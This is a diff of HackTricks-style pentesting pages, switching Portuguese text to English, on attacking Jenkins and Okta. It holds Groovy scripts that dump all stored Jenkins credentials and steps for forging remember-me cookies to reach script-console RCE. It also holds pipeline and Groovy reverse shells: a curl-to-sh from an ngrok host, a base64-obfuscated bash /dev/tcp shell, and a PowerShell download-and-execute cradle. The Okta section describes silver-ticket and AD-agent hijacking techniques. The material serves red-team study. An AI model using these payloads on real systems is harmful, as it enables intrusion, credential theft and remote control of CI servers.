De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credenciais que estão em escopo são disponibilizadas para o pipeline sem limitações. Para **evitar exposição acidental no log de construção**, as credenciais são **mascaradas** da saída regular, de modo que uma invocação de `env` (Linux) ou `set` (Windows), ou programas que imprimem seu ambiente ou parâmetros **não as revelariam no log de construção** para usuários que não teriam acesso às credenciais.
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
|
||||
**É por isso que, para exfiltrar as credenciais, um atacante precisa, por exemplo, codificá-las em base64.**
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
@@ -92,3 +92,6 @@ De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,104 +2,107 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Neste post do blog, é possível encontrar uma ótima maneira de transformar uma vulnerabilidade de Inclusão de Arquivo Local no Jenkins em RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
Este é um resumo criado por IA da parte do post onde a criação de um cookie arbitrário é abusada para obter RCE, explorando uma leitura de arquivo local até que eu tenha tempo para criar um resumo por conta própria:
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
|
||||
### Pré-requisitos do Ataque
|
||||
### Attack Prerequisites
|
||||
|
||||
- **Requisito de Funcionalidade:** "Lembre-se de mim" deve estar ativado (configuração padrão).
|
||||
- **Níveis de Acesso:** O atacante precisa de permissões Gerais/Leitura.
|
||||
- **Acesso Secreto:** Capacidade de ler tanto conteúdo binário quanto textual de arquivos-chave.
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
|
||||
### Processo Detalhado de Exploração
|
||||
### Detailed Exploitation Process
|
||||
|
||||
#### Passo 1: Coleta de Dados
|
||||
#### Step 1: Data Collection
|
||||
|
||||
**Recuperação de Informações do Usuário**
|
||||
**User Information Retrieval**
|
||||
|
||||
- Acesse a configuração do usuário e segredos de `$JENKINS_HOME/users/*.xml` para cada usuário para coletar:
|
||||
- **Nome de Usuário**
|
||||
- **Semente do Usuário**
|
||||
- **Timestamp**
|
||||
- **Hash da Senha**
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
|
||||
**Extração da Chave Secreta**
|
||||
**Secret Key Extraction**
|
||||
|
||||
- Extraia chaves criptográficas usadas para assinar o cookie:
|
||||
- **Chave Secreta:** `$JENKINS_HOME/secret.key`
|
||||
- **Chave Mestra:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **Arquivo da Chave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Passo 2: Forjamento de Cookie
|
||||
#### Step 2: Cookie Forging
|
||||
|
||||
**Preparação do Token**
|
||||
**Token Preparation**
|
||||
|
||||
- **Calcular Tempo de Expiração do Token:**
|
||||
- **Calculate Token Expiry Time:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adiciona uma hora ao tempo atual
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
|
||||
- **Concatenar Dados para o Token:**
|
||||
- **Concatenate Data for Token:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**Descriptografia da Chave MAC**
|
||||
**MAC Key Decryption**
|
||||
|
||||
- **Descriptografar o Arquivo da Chave MAC:**
|
||||
- **Decrypt MAC Key File:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Converter chave mestra para formato de chave AES128
|
||||
decrypted = AES.decrypt(macFile, key) // Descriptografar o arquivo .mac
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Cálculo da Assinatura**
|
||||
**Signature Computation**
|
||||
|
||||
- **Calcular HMAC SHA256:**
|
||||
- **Compute HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Calcular HMAC usando o token e a chave MAC
|
||||
tokenSignature = bytesToHexString(mac) // Converter o MAC para uma string hexadecimal
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
|
||||
**Codificação do Cookie**
|
||||
**Cookie Encoding**
|
||||
|
||||
- **Gerar Cookie Final:**
|
||||
- **Generate Final Cookie:**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Codificar os dados do cookie em Base64
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
|
||||
#### Passo 3: Execução de Código
|
||||
#### Step 3: Code Execution
|
||||
|
||||
**Autenticação de Sessão**
|
||||
**Session Authentication**
|
||||
|
||||
- **Buscar Tokens CSRF e de Sessão:**
|
||||
- Faça uma solicitação para `/crumbIssuer/api/json` para obter `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` da resposta, que será usado em conjunto com o cookie de lembrete.
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
|
||||
**Solicitação de Execução de Comando**
|
||||
**Command Execution Request**
|
||||
|
||||
- **Enviar uma Solicitação POST com Script Groovy:**
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- O script Groovy pode ser usado para executar comandos em nível de sistema ou outras operações dentro do ambiente Jenkins.
|
||||
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
|
||||
O exemplo de comando curl fornecido demonstra como fazer uma solicitação ao Jenkins com os cabeçalhos e cookies necessários para executar código arbitrário de forma segura.
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,9 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note que esses scripts apenas listarão os segredos dentro do arquivo `credentials.xml`, mas **arquivos de configuração de build** também podem ter **mais credenciais**.
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
|
||||
Você pode **extrair todos os segredos do console de script Groovy** em `/script` executando este código
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -41,45 +42,51 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
#### ou este aqui:
|
||||
|
||||
#### or this one:
|
||||
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,37 +1,42 @@
|
||||
# Jenkins RCE Criando/Modificando Pipeline
|
||||
# Jenkins RCE Creating/Modifying Pipeline
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Criando um novo Pipeline
|
||||
## Creating a new Pipeline
|
||||
|
||||
Em "Novo Item" (acessível em `/view/all/newJob`) selecione **Pipeline:**
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
|
||||
.png>)
|
||||
|
||||
Na **seção Pipeline** escreva o **reverse shell**:
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Finalmente clique em **Salvar** e **Construir Agora** e o pipeline será executado:
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
|
||||
.png>)
|
||||
|
||||
## Modificando um Pipeline
|
||||
## Modifying a Pipeline
|
||||
|
||||
Se você puder acessar o arquivo de configuração de algum pipeline configurado, você pode **modificá-lo adicionando seu reverse shell** e então executá-lo ou esperar até que ele seja executado.
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,39 @@
|
||||
# Jenkins RCE Criando/Modificando Projeto
|
||||
# Jenkins RCE Creating/Modifying Project
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Criando um Projeto
|
||||
## Creating a Project
|
||||
|
||||
Este método é muito barulhento porque você tem que criar um projeto completamente novo (obviamente isso só funcionará se o usuário tiver permissão para criar um novo projeto).
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
|
||||
1. **Crie um novo projeto** (projeto Freestyle) clicando em "Novo Item" ou em `/view/all/newJob`
|
||||
2. Dentro da seção **Build**, defina **Execute shell** e cole um lançador do powershell Empire ou um powershell do meterpreter (pode ser obtido usando _unicorn_). Inicie o payload com _PowerShell.exe_ em vez de usar _powershell._
|
||||
3. Clique em **Build now**
|
||||
1. Se o botão **Build now** não aparecer, você ainda pode ir para **configure** --> **Build Triggers** --> `Build periodically` e definir um cron de `* * * * *`
|
||||
2. Em vez de usar cron, você pode usar a configuração "**Trigger builds remotely**" onde você só precisa definir o nome do token da API para acionar o trabalho. Em seguida, vá para o seu perfil de usuário e **gere um token da API** (chame este token da API como você chamou o token da API para acionar o trabalho). Finalmente, acione o trabalho com: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modificando um Projeto
|
||||
## Modifying a Project
|
||||
|
||||
Vá para os projetos e verifique **se você pode configurar algum** deles (procure pelo botão "Configurar"):
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
|
||||
.png>)
|
||||
|
||||
Se você **não puder** ver nenhum **botão de configuração**, então você **não poderá** **configurá-lo** provavelmente (mas verifique todos os projetos, pois você pode ser capaz de configurar alguns deles e não outros).
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
|
||||
Ou **tente acessar o caminho** `/job/<proj-name>/configure` ou `/me/my-views/view/all/job/<proj-name>/configure` \_\_ em cada projeto (exemplo: `/job/Project0/configure` ou `/me/my-views/view/all/job/Project0/configure`).
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execução
|
||||
## Execution
|
||||
|
||||
Se você tiver permissão para configurar o projeto, você pode **fazer com que ele execute comandos quando uma build for bem-sucedida**:
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
|
||||
.png>)
|
||||
|
||||
Clique em **Salvar** e **construa** o projeto e seu **comando será executado**.\
|
||||
Se você não estiver executando um shell reverso, mas um comando simples, você pode **ver a saída do comando dentro da saída da build**.
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,24 +1,27 @@
|
||||
# Jenkins RCE com Script Groovy
|
||||
# Jenkins RCE with Groovy Script
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Jenkins RCE com Script Groovy
|
||||
## Jenkins RCE with Groovy Script
|
||||
|
||||
Isso é menos barulhento do que criar um novo projeto no Jenkins
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
|
||||
1. Vá para _path_jenkins/script_
|
||||
2. Dentro da caixa de texto, introduza o script
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
Você pode executar um comando usando: `cmd.exe /c dir`
|
||||
|
||||
Em **linux** você pode fazer: **`"ls /".execute().text`**
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
|
||||
Se você precisar usar _aspas_ e _aspas simples_ dentro do texto. Você pode usar _"""PAYLOAD"""_ (três aspas duplas) para executar o payload.
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
|
||||
**Outro script groovy útil** é (substitua \[INSERT COMMAND]):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -26,7 +29,9 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Shell reversa no linux
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -34,20 +39,28 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Reverse shell no Windows
|
||||
|
||||
Você pode preparar um servidor HTTP com um PS reverse shell e usar Jeking para baixá-lo e executá-lo:
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
|
||||
### Script
|
||||
|
||||
Você pode automatizar esse processo com [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
|
||||
Você pode usar o MSF para obter um shell reverso:
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,109 +2,116 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) é reconhecida no setor de gerenciamento de identidade e acesso por suas soluções de software baseadas em nuvem. Essas soluções são projetadas para simplificar e proteger a autenticação de usuários em várias aplicações modernas. Elas atendem não apenas a empresas que buscam proteger seus dados sensíveis, mas também a desenvolvedores interessados em integrar controles de identidade em aplicações, serviços web e dispositivos.
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
|
||||
A oferta principal da Okta é a **Okta Identity Cloud**. Esta plataforma abrange um conjunto de produtos, incluindo, mas não se limitando a:
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
|
||||
- **Single Sign-On (SSO)**: Simplifica o acesso do usuário permitindo um conjunto de credenciais de login em várias aplicações.
|
||||
- **Multi-Factor Authentication (MFA)**: Aumenta a segurança exigindo múltiplas formas de verificação.
|
||||
- **Lifecycle Management**: Automatiza a criação, atualização e desativação de contas de usuário.
|
||||
- **Universal Directory**: Permite o gerenciamento centralizado de usuários, grupos e dispositivos.
|
||||
- **API Access Management**: Protege e gerencia o acesso às APIs.
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
|
||||
Esses serviços visam coletivamente fortalecer a proteção de dados e simplificar o acesso do usuário, melhorando tanto a segurança quanto a conveniência. A versatilidade das soluções da Okta as torna uma escolha popular em várias indústrias, beneficiando grandes empresas, pequenas empresas e desenvolvedores individuais. Até a última atualização em setembro de 2021, a Okta é reconhecida como uma entidade proeminente na área de Gerenciamento de Identidade e Acesso (IAM).
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
|
||||
> [!CAUTION]
|
||||
> O principal objetivo da Okta é configurar o acesso a diferentes usuários e grupos para aplicações externas. Se você conseguir **comprometer privilégios de administrador em um ambiente Okta**, você provavelmente conseguirá **comprometer todas as outras plataformas que a empresa está usando**.
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
|
||||
> [!TIP]
|
||||
> Para realizar uma revisão de segurança de um ambiente Okta, você deve solicitar **acesso somente leitura de administrador**.
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
|
||||
### Resumo
|
||||
### Summary
|
||||
|
||||
Existem **usuários** (que podem ser **armazenados na Okta,** logados de **Provedores de Identidade** configurados ou autenticados via **Active Directory** ou LDAP).\
|
||||
Esses usuários podem estar dentro de **grupos**.\
|
||||
Existem também **autenticadores**: diferentes opções para autenticar como senha e vários 2FA como WebAuthn, email, telefone, okta verify (podem estar habilitados ou desabilitados)...
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
|
||||
Então, existem **aplicações** sincronizadas com a Okta. Cada aplicação terá algum **mapeamento com a Okta** para compartilhar informações (como endereços de email, primeiros nomes...). Além disso, cada aplicação deve estar dentro de uma **Política de Autenticação**, que indica os **autenticadores necessários** para um usuário **acessar** a aplicação.
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
|
||||
> [!CAUTION]
|
||||
> O papel mais poderoso é **Super Administrador**.
|
||||
> The most powerful role is **Super Administrator**.
|
||||
>
|
||||
> Se um atacante comprometer a Okta com acesso de Administrador, todos os **apps que confiam na Okta** provavelmente estarão **comprometidos**.
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
|
||||
## Ataques
|
||||
## Attacks
|
||||
|
||||
### Localizando o Portal Okta
|
||||
### Locating Okta Portal
|
||||
|
||||
Geralmente, o portal de uma empresa estará localizado em **companyname.okta.com**. Se não, tente variações simples de **companyname.** Se você não conseguir encontrá-lo, também é possível que a organização tenha um registro **CNAME** como **`okta.companyname.com`** apontando para o **portal Okta**.
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
|
||||
### Login na Okta via Kerberos
|
||||
### Login in Okta via Kerberos
|
||||
|
||||
Se **`companyname.kerberos.okta.com`** estiver ativo, **Kerberos é usado para acesso à Okta**, geralmente contornando **MFA** para usuários **Windows**. Para encontrar usuários Okta autenticados por Kerberos no AD, execute **`getST.py`** com **parâmetros apropriados**. Após obter um **ticket de usuário AD**, **injete**-o em um host controlado usando ferramentas como Rubeus ou Mimikatz, garantindo que **`clientname.kerberos.okta.com` esteja na zona "Intranet" das Opções da Internet**. Acessar uma URL específica deve retornar uma resposta JSON "OK", indicando a aceitação do ticket Kerberos e concedendo acesso ao painel da Okta.
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
|
||||
Comprometer a **conta de serviço Okta com o SPN de delegação permite um ataque de Silver Ticket.** No entanto, o uso de **AES** pela Okta para criptografia de tickets requer possuir a chave AES ou a senha em texto claro. Use **`ticketer.py` para gerar um ticket para o usuário vítima** e entregá-lo via navegador para autenticar com a Okta.
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
|
||||
**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Sequestro do Agente AD da Okta
|
||||
### Hijacking Okta AD Agent
|
||||
|
||||
Esta técnica envolve **acessar o Agente AD da Okta em um servidor**, que **sincroniza usuários e lida com autenticação**. Ao examinar e descriptografar configurações em **`OktaAgentService.exe.config`**, notavelmente o AgentToken usando **DPAPI**, um atacante pode potencialmente **interceptar e manipular dados de autenticação**. Isso permite não apenas **monitorar** e **capturar credenciais de usuário** em texto claro durante o processo de autenticação da Okta, mas também **responder a tentativas de autenticação**, permitindo assim acesso não autorizado ou fornecendo autenticação universal através da Okta (semelhante a uma 'chave mestra').
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
|
||||
